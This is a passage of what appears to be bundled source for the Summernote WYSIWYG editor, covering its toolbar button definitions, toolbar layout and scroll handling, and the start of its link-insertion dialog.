return '';\n    }\n\n    if (env.isMac) {\n      shortcut = shortcut.replace('CMD', '⌘').replace('SHIFT', '⇧');\n    }\n\n    shortcut = shortcut.replace('BACKSLASH', '\\\\')\n      .replace('SLASH', '/')\n      .replace('LEFTBRACKET', '[')\n      .replace('RIGHTBRACKET', ']');\n\n    return ' (' + shortcut + ')';\n  }\n\n  button(o) {\n    if (!this.options.tooltip && o.tooltip) {\n      delete o.tooltip;\n    }\n    o.container = this.options.container;\n    return this.ui.button(o);\n  }\n\n  initialize() {\n    this.addToolbarButtons();\n    this.addImagePopoverButtons();\n    this.addLinkPopoverButtons();\n    this.addTablePopoverButtons();\n    this.fontInstalledMap = {};\n  }\n\n  destroy() {\n    delete this.fontInstalledMap;\n  }\n\n  isFontInstalled(name) {\n    if (!this.fontInstalledMap.hasOwnProperty(name)) {\n      this.fontInstalledMap[name] = env.isFontInstalled(name) ||\n        lists.contains(this.options.fontNamesIgnoreCheck, name);\n    }\n\n    return this.fontInstalledMap[name];\n  }\n\n  isFontDeservedToAdd(name) {\n    const genericFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n    name = name.toLowerCase();\n\n    return ((name !== '') && this.isFontInstalled(name) && ($.inArray(name, genericFamilies) === -1));\n  }\n\n  addToolbarButtons() {\n    this.context.memo('button.style', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            this.ui.icon(this.options.icons.magic), this.options\n          ),\n          tooltip: this.lang.style.style,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          className: 'dropdown-style',\n          items: this.options.styleTags,\n          title: this.lang.style.style,\n          template: (item) => {\n            if (typeof item === 'string') {\n              item = { tag: item, title: (this.lang.style.hasOwnProperty(item) ? this.lang.style[item] : item) };\n            }\n\n            const tag = item.tag;\n            const title = item.title;\n            const style = item.style ? ' style=\"' + item.style + '\" ' : '';\n            const className = item.className ? ' class=\"' + item.className + '\"' : '';\n\n            return '<' + tag + style + className + '>' + title + '</' + tag + '>';\n          },\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        })\n      ]).render();\n    });\n\n    for (let styleIdx = 0, styleLen = this.options.styleTags.length; styleIdx < styleLen; styleIdx++) {\n      const item = this.options.styleTags[styleIdx];\n\n      this.context.memo('button.style.' + item, () => {\n        return this.button({\n          className: 'note-btn-style-' + item,\n          contents: '<div data-value=\"' + item + '\">' + item.toUpperCase() + '</div>',\n          tooltip: this.lang.style[item],\n          click: this.context.createInvokeHandler('editor.formatBlock')\n        }).render();\n      });\n    }\n\n    this.context.memo('button.bold', () => {\n      return this.button({\n        className: 'note-btn-bold',\n        contents: this.ui.icon(this.options.icons.bold),\n        tooltip: this.lang.font.bold + this.representShortcut('bold'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.bold')\n      }).render();\n    });\n\n    this.context.memo('button.italic', () => {\n      return this.button({\n        className: 'note-btn-italic',\n        contents: this.ui.icon(this.options.icons.italic),\n        tooltip: this.lang.font.italic + this.representShortcut('italic'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.italic')\n      }).render();\n    });\n\n    this.context.memo('button.underline', () => {\n      return this.button({\n        className: 'note-btn-underline',\n        contents: this.ui.icon(this.options.icons.underline),\n        tooltip: this.lang.font.underline + this.representShortcut('underline'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.underline')\n      }).render();\n    });\n\n    this.context.memo('button.clear', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.eraser),\n        tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),\n        click: this.context.createInvokeHandler('editor.removeFormat')\n      }).render();\n    });\n\n    this.context.memo('button.strikethrough', () => {\n      return this.button({\n        className: 'note-btn-strikethrough',\n        contents: this.ui.icon(this.options.icons.strikethrough),\n        tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')\n      }).render();\n    });\n\n    this.context.memo('button.superscript', () => {\n      return this.button({\n        className: 'note-btn-superscript',\n        contents: this.ui.icon(this.options.icons.superscript),\n        tooltip: this.lang.font.superscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')\n      }).render();\n    });\n\n    this.context.memo('button.subscript', () => {\n      return this.button({\n        className: 'note-btn-subscript',\n        contents: this.ui.icon(this.options.icons.subscript),\n        tooltip: this.lang.font.subscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')\n      }).render();\n    });\n\n    this.context.memo('button.fontname', () => {\n      const styleInfo = this.context.invoke('editor.currentStyle');\n\n      // Add 'default' fonts into the fontnames array if not exist\n      $.each(styleInfo['font-family'].split(','), (idx, fontname) => {\n        fontname = fontname.trim().replace(/['\"]+/g, '');\n        if (this.isFontDeservedToAdd(fontname)) {\n          if ($.inArray(fontname, this.options.fontNames) === -1) {\n            this.options.fontNames.push(fontname);\n          }\n        }\n      });\n\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            '<span class=\"note-current-fontname\"/>', this.options\n          ),\n          tooltip: this.lang.font.name,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontname',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),\n          title: this.lang.font.name,\n          template: (item) => {\n            return '<span style=\"font-family: \\'' + item + '\\'\">' + item + '</span>';\n          },\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.fontsize', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents('<span class=\"note-current-fontsize\"/>', this.options),\n          tooltip: this.lang.font.size,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontsize',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontSizes,\n          title: this.lang.font.size,\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.color', () => {\n      return this.ui.buttonGroup({\n        className: 'note-color',\n        children: [\n          this.button({\n            className: 'note-current-color-button',\n            contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),\n            tooltip: this.lang.color.recent,\n            click: (e) => {\n              const $button = $(e.currentTarget);\n              this.context.invoke('editor.color', {\n                backColor: $button.attr('data-backColor'),\n                foreColor: $button.attr('data-foreColor')\n              });\n            },\n            callback: ($button) => {\n              const $recentColor = $button.find('.note-recent-color');\n              $recentColor.css('background-color', '#FFFF00');\n              $button.attr('data-backColor', '#FFFF00');\n            }\n          }),\n          this.button({\n            className: 'dropdown-toggle',\n            contents: this.ui.dropdownButtonContents('', this.options),\n            tooltip: this.lang.color.more,\n            data: {\n              toggle: 'dropdown'\n            }\n          }),\n          this.ui.dropdown({\n            items: [\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.background + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"backColor\" data-value=\"inherit\">',\n              this.lang.color.transparent,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"backColor\"/>',\n              '</div>',\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.foreground + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"removeFormat\" data-value=\"foreColor\">',\n              this.lang.color.resetToDefault,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"foreColor\"/>',\n              '</div>'\n            ].join(''),\n            callback: ($dropdown) => {\n              $dropdown.find('.note-holder').each((idx, item) => {\n                const $holder = $(item);\n                $holder.append(this.ui.palette({\n                  colors: this.options.colors,\n                  colorsName: this.options.colorsName,\n                  eventName: $holder.data('event'),\n                  container: this.options.container,\n                  tooltip: this.options.tooltip\n                }).render());\n              });\n            },\n            click: (event) => {\n              const $button = $(event.target);\n              const eventName = $button.data('event');\n              const value = $button.data('value');\n\n              if (eventName && value) {\n                const key = eventName === 'backColor' ? 'background-color' : 'color';\n                const $color = $button.closest('.note-color').find('.note-recent-color');\n                const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n                $color.css(key, value);\n                $currentButton.attr('data-' + eventName, value);\n                this.context.invoke('editor.' + eventName, value);\n              }\n            }\n          })\n        ]\n      }).render();\n    });\n\n    this.context.memo('button.ul', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unorderedlist),\n        tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),\n        click: this.context.createInvokeHandler('editor.insertUnorderedList')\n      }).render();\n    });\n\n    this.context.memo('button.ol', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.orderedlist),\n        tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),\n        click: this.context.createInvokeHandler('editor.insertOrderedList')\n      }).render();\n    });\n\n    const justifyLeft = this.button({\n      contents: this.ui.icon(this.options.icons.alignLeft),\n      tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),\n      click: this.context.createInvokeHandler('editor.justifyLeft')\n    });\n\n    const justifyCenter = this.button({\n      contents: this.ui.icon(this.options.icons.alignCenter),\n      tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),\n      click: this.context.createInvokeHandler('editor.justifyCenter')\n    });\n\n    const justifyRight = this.button({\n      contents: this.ui.icon(this.options.icons.alignRight),\n      tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),\n      click: this.context.createInvokeHandler('editor.justifyRight')\n    });\n\n    const justifyFull = this.button({\n      contents: this.ui.icon(this.options.icons.alignJustify),\n      tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),\n      click: this.context.createInvokeHandler('editor.justifyFull')\n    });\n\n    const outdent = this.button({\n      contents: this.ui.icon(this.options.icons.outdent),\n      tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),\n      click: this.context.createInvokeHandler('editor.outdent')\n    });\n\n    const indent = this.button({\n      contents: this.ui.icon(this.options.icons.indent),\n      tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),\n      click: this.context.createInvokeHandler('editor.indent')\n    });\n\n    this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));\n    this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));\n    this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));\n    this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));\n    this.context.memo('button.outdent', func.invoke(outdent, 'render'));\n    this.context.memo('button.indent', func.invoke(indent, 'render'));\n\n    this.context.memo('button.paragraph', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),\n          tooltip: this.lang.paragraph.paragraph,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown([\n          this.ui.buttonGroup({\n            className: 'note-align',\n            children: [justifyLeft, justifyCenter, justifyRight, justifyFull]\n          }),\n          this.ui.buttonGroup({\n            className: 'note-list',\n            children: [outdent, indent]\n          })\n        ])\n      ]).render();\n    });\n\n    this.context.memo('button.height', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),\n          tooltip: this.lang.font.height,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          items: this.options.lineHeights,\n          checkClassName: this.options.icons.menuCheck,\n          className: 'dropdown-line-height',\n          title: this.lang.font.height,\n          click: this.context.createInvokeHandler('editor.lineHeight')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.table', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),\n          tooltip: this.lang.table.table,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          title: this.lang.table.table,\n          className: 'note-table',\n          items: [\n            '<div class=\"note-dimension-picker\">',\n            '  <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n            '  <div class=\"note-dimension-picker-highlighted\"/>',\n            '  <div class=\"note-dimension-picker-unhighlighted\"/>',\n            '</div>',\n            '<div class=\"note-dimension-display\">1 x 1</div>'\n          ].join('')\n        })\n      ], {\n        callback: ($node) => {\n          const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n          $catcher.css({\n            width: this.options.insertTableMaxSize.col + 'em',\n            height: this.options.insertTableMaxSize.row + 'em'\n          }).mousedown(this.context.createInvokeHandler('editor.insertTable'))\n            .on('mousemove', this.tableMoveHandler.bind(this));\n        }\n      }).render();\n    });\n\n    this.context.memo('button.link', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.picture', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.picture),\n        tooltip: this.lang.image.image,\n        click: this.context.createInvokeHandler('imageDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.video', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.video),\n        tooltip: this.lang.video.video,\n        click: this.context.createInvokeHandler('videoDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.hr', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.minus),\n        tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),\n        click: this.context.createInvokeHandler('editor.insertHorizontalRule')\n      }).render();\n    });\n\n    this.context.memo('button.fullscreen', () => {\n      return this.button({\n        className: 'btn-fullscreen',\n        contents: this.ui.icon(this.options.icons.arrowsAlt),\n        tooltip: this.lang.options.fullscreen,\n        click: this.context.createInvokeHandler('fullscreen.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.codeview', () => {\n      return this.button({\n        className: 'btn-codeview',\n        contents: this.ui.icon(this.options.icons.code),\n        tooltip: this.lang.options.codeview,\n        click: this.context.createInvokeHandler('codeview.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.redo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.redo),\n        tooltip: this.lang.history.redo + this.representShortcut('redo'),\n        click: this.context.createInvokeHandler('editor.redo')\n      }).render();\n    });\n\n    this.context.memo('button.undo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.undo),\n        tooltip: this.lang.history.undo + this.representShortcut('undo'),\n        click: this.context.createInvokeHandler('editor.undo')\n      }).render();\n    });\n\n    this.context.memo('button.help', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.question),\n        tooltip: this.lang.options.help,\n        click: this.context.createInvokeHandler('helpDialog.show')\n      }).render();\n    });\n  }\n\n  /**\n   * image : [\n   *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n   *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],\n   *   ['remove', ['removeMedia']]\n   * ],\n   */\n  addImagePopoverButtons() {\n    // Image Size Buttons\n    this.context.memo('button.imageSize100', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">100%</span>',\n        tooltip: this.lang.image.resizeFull,\n        click: this.context.createInvokeHandler('editor.resize', '1')\n      }).render();\n    });\n    this.context.memo('button.imageSize50', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">50%</span>',\n        tooltip: this.lang.image.resizeHalf,\n        click: this.context.createInvokeHandler('editor.resize', '0.5')\n      }).render();\n    });\n    this.context.memo('button.imageSize25', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">25%</span>',\n        tooltip: this.lang.image.resizeQuarter,\n        click: this.context.createInvokeHandler('editor.resize', '0.25')\n      }).render();\n    });\n\n    // Float Buttons\n    this.context.memo('button.floatLeft', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignLeft),\n        tooltip: this.lang.image.floatLeft,\n        click: this.context.createInvokeHandler('editor.floatMe', 'left')\n      }).render();\n    });\n\n    this.context.memo('button.floatRight', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignRight),\n        tooltip: this.lang.image.floatRight,\n        click: this.context.createInvokeHandler('editor.floatMe', 'right')\n      }).render();\n    });\n\n    this.context.memo('button.floatNone', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignJustify),\n        tooltip: this.lang.image.floatNone,\n        click: this.context.createInvokeHandler('editor.floatMe', 'none')\n      }).render();\n    });\n\n    // Remove Buttons\n    this.context.memo('button.removeMedia', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.image.remove,\n        click: this.context.createInvokeHandler('editor.removeMedia')\n      }).render();\n    });\n  }\n\n  addLinkPopoverButtons() {\n    this.context.memo('button.linkDialogShow', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.edit,\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.unlink', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unlink),\n        tooltip: this.lang.link.unlink,\n        click: this.context.createInvokeHandler('editor.unlink')\n      }).render();\n    });\n  }\n\n  /**\n   * table : [\n   *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n   *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n   * ],\n   */\n  addTablePopoverButtons() {\n    this.context.memo('button.addRowUp', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowAbove),\n        tooltip: this.lang.table.addRowAbove,\n        click: this.context.createInvokeHandler('editor.addRow', 'top')\n      }).render();\n    });\n    this.context.memo('button.addRowDown', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowBelow),\n        tooltip: this.lang.table.addRowBelow,\n        click: this.context.createInvokeHandler('editor.addRow', 'bottom')\n      }).render();\n    });\n    this.context.memo('button.addColLeft', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colBefore),\n        tooltip: this.lang.table.addColLeft,\n        click: this.context.createInvokeHandler('editor.addCol', 'left')\n      }).render();\n    });\n    this.context.memo('button.addColRight', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colAfter),\n        tooltip: this.lang.table.addColRight,\n        click: this.context.createInvokeHandler('editor.addCol', 'right')\n      }).render();\n    });\n    this.context.memo('button.deleteRow', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowRemove),\n        tooltip: this.lang.table.delRow,\n        click: this.context.createInvokeHandler('editor.deleteRow')\n      }).render();\n    });\n    this.context.memo('button.deleteCol', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colRemove),\n        tooltip: this.lang.table.delCol,\n        click: this.context.createInvokeHandler('editor.deleteCol')\n      }).render();\n    });\n    this.context.memo('button.deleteTable', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.table.delTable,\n        click: this.context.createInvokeHandler('editor.deleteTable')\n      }).render();\n    });\n  }\n\n  build($container, groups) {\n    for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {\n      const group = groups[groupIdx];\n      const groupName = $.isArray(group) ? group[0] : group;\n      const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];\n\n      const $group = this.ui.buttonGroup({\n        className: 'note-' + groupName\n      }).render();\n\n      for (let idx = 0, len = buttons.length; idx < len; idx++) {\n        const btn = this.context.memo('button.' + buttons[idx]);\n        if (btn) {\n          $group.append(typeof btn === 'function' ? btn(this.context) : btn);\n        }\n      }\n      $group.appendTo($container);\n    }\n  }\n\n  /**\n   * @param {jQuery} [$container]\n   */\n  updateCurrentStyle($container) {\n    const $cont = $container || this.$toolbar;\n\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    this.updateBtnStates($cont, {\n      '.note-btn-bold': () => {\n        return styleInfo['font-bold'] === 'bold';\n      },\n      '.note-btn-italic': () => {\n        return styleInfo['font-italic'] === 'italic';\n      },\n      '.note-btn-underline': () => {\n        return styleInfo['font-underline'] === 'underline';\n      },\n      '.note-btn-subscript': () => {\n        return styleInfo['font-subscript'] === 'subscript';\n      },\n      '.note-btn-superscript': () => {\n        return styleInfo['font-superscript'] === 'superscript';\n      },\n      '.note-btn-strikethrough': () => {\n        return styleInfo['font-strikethrough'] === 'strikethrough';\n      }\n    });\n\n    if (styleInfo['font-family']) {\n      const fontNames = styleInfo['font-family'].split(',').map((name) => {\n        return name.replace(/[\\'\\\"]/g, '')\n          .replace(/\\s+$/, '')\n          .replace(/^\\s+/, '');\n      });\n      const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));\n\n      $cont.find('.dropdown-fontname a').each((idx, item) => {\n        const $item = $(item);\n        // always compare string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontName + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);\n    }\n\n    if (styleInfo['font-size']) {\n      const fontSize = styleInfo['font-size'];\n      $cont.find('.dropdown-fontsize a').each((idx, item) => {\n        const $item = $(item);\n        // always compare with string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontSize + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontsize').text(fontSize);\n    }\n\n    if (styleInfo['line-height']) {\n      const lineHeight = styleInfo['line-height'];\n      $cont.find('.dropdown-line-height li a').each((idx, item) => {\n        // always compare with string to avoid creating another func.\n        const isChecked = ($(item).data('value') + '') === (lineHeight + '');\n        this.className = isChecked ? 'checked' : '';\n      });\n    }\n  }\n\n  updateBtnStates($container, infos) {\n    $.each(infos, (selector, pred) => {\n      this.ui.toggleBtnActive($container.find(selector), pred());\n    });\n  }\n\n  tableMoveHandler(event) {\n    const PX_PER_EM = 18;\n    const $picker = $(event.target.parentNode); // target is mousecatcher\n    const $dimensionDisplay = $picker.next();\n    const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n    const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n    const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n    let posOffset;\n    // HTML5 with jQuery - e.offsetX is undefined in Firefox\n    if (event.offsetX === undefined) {\n      const posCatcher = $(event.target).offset();\n      posOffset = {\n        x: event.pageX - posCatcher.left,\n        y: event.pageY - posCatcher.top\n      };\n    } else {\n      posOffset = {\n        x: event.offsetX,\n        y: event.offsetY\n      };\n    }\n\n    const dim = {\n      c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n      r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n    };\n\n    $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n    $catcher.data('value', dim.c + 'x' + dim.r);\n\n    if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {\n      $unhighlighted.css({ width: dim.c + 1 + 'em' });\n    }\n\n    if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {\n      $unhighlighted.css({ height: dim.r + 1 + 'em' });\n    }\n\n    $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n  }\n}\n","import $ from 'jquery';\nexport default class Toolbar {\n  constructor(context) {\n    this.context = context;\n\n    this.$window = $(window);\n    this.$document = $(document);\n\n    this.ui = $.summernote.ui;\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n\n    this.followScroll = this.followScroll.bind(this);\n  }\n\n  shouldInitialize() {\n    return !this.options.airMode;\n  }\n\n  initialize() {\n    this.options.toolbar = this.options.toolbar || [];\n\n    if (!this.options.toolbar.length) {\n      this.$toolbar.hide();\n    } else {\n      this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);\n    }\n\n    if (this.options.toolbarContainer) {\n      this.$toolbar.appendTo(this.options.toolbarContainer);\n    }\n\n    this.changeContainer(false);\n\n    this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {\n      this.context.invoke('buttons.updateCurrentStyle');\n    });\n\n    this.context.invoke('buttons.updateCurrentStyle');\n    if (this.options.followingToolbar) {\n      this.$window.on('scroll resize', this.followScroll);\n    }\n  }\n\n  destroy() {\n    this.$toolbar.children().remove();\n\n    if (this.options.followingToolbar) {\n      this.$window.off('scroll resize', this.followScroll);\n    }\n  }\n\n  followScroll() {\n    if (this.$editor.hasClass('fullscreen')) {\n      return false;\n    }\n\n    const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');\n    const editorHeight = this.$editor.outerHeight();\n    const editorWidth = this.$editor.width();\n\n    const toolbarHeight = this.$toolbar.height();\n    $toolbarWrapper.css({\n      height: toolbarHeight\n    });\n\n    // check if the web app is currently using another static bar\n    let otherBarHeight = 0;\n    if (this.options.otherStaticBar) {\n      otherBarHeight = $(this.options.otherStaticBar).outerHeight();\n    }\n\n    const currentOffset = this.$document.scrollTop();\n    const editorOffsetTop = this.$editor.offset().top;\n    const editorOffsetBottom = editorOffsetTop + editorHeight;\n    const activateOffset = editorOffsetTop - otherBarHeight;\n    const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;\n\n    if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {\n      this.$toolbar.css({\n        position: 'fixed',\n        top: otherBarHeight,\n        width: editorWidth\n      });\n    } else {\n      this.$toolbar.css({\n        position: 'relative',\n        top: 0,\n        width: '100%'\n      });\n    }\n  }\n\n  changeContainer(isFullscreen) {\n    if (isFullscreen) {\n      this.$toolbar.prependTo(this.$editor);\n    } else {\n      if (this.options.toolbarContainer) {\n        this.$toolbar.appendTo(this.options.toolbarContainer);\n      }\n    }\n  }\n\n  updateFullscreen(isFullscreen) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);\n\n    this.changeContainer(isFullscreen);\n  }\n\n  updateCodeview(isCodeview) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);\n    if (isCodeview) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n  }\n\n  activate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, true);\n  }\n\n  deactivate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, false);\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class LinkDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.textToDisplay}</label>`,\n      '<input class=\"note-link-text form-control note-form-control  note-input\" type=\"text\" />',\n      '</div>',\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.url}</label>`,\n      '<input class=\"note-link-url form-control note-form-control note-input\" type=\"text\" value=\"http://\" />',\n      '</div>',\n      !this.options.disableLinkTarget\n        ? $('<div/>').append(this.ui.checkbox({\n          id: 'sn-checkbox-open-in-new-window',\n          text: this.lang.link.openInNewWindow,\n          checked: true\n        }).render()).html()\n        : ''\n    ].join('');\n\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.link.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      className: 'link-dialog',\n      title: this.lang.link.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  /**\n   * toggle update button\n   */\n  toggleLinkBtn($linkBtn, $linkText, $linkUrl) {\n    this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());\n  }\n\n  /**\n   * Show link dialog and set event handlers on dialog controls.\n   *\n   * @param {Object} linkInfo\n   * @return {Promise}\n   */\n  showLinkDialog(linkInfo) {\n    return $.Deferred((deferred) => {\n      const $linkText = this.$dialog.find('.note-link-text');\n      const $linkUrl = this.$dialog.find('.note-link-url');\n      const $linkBtn = this.$dialog.find('.note-link-btn');\n      const $openInNewWindow = this.$dialog.find('input[type=checkbox]');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // if no url was given, copy text to url\n        if (!linkInfo.url) {\n          linkInfo.url = linkInfo.text;\n        }\n\n        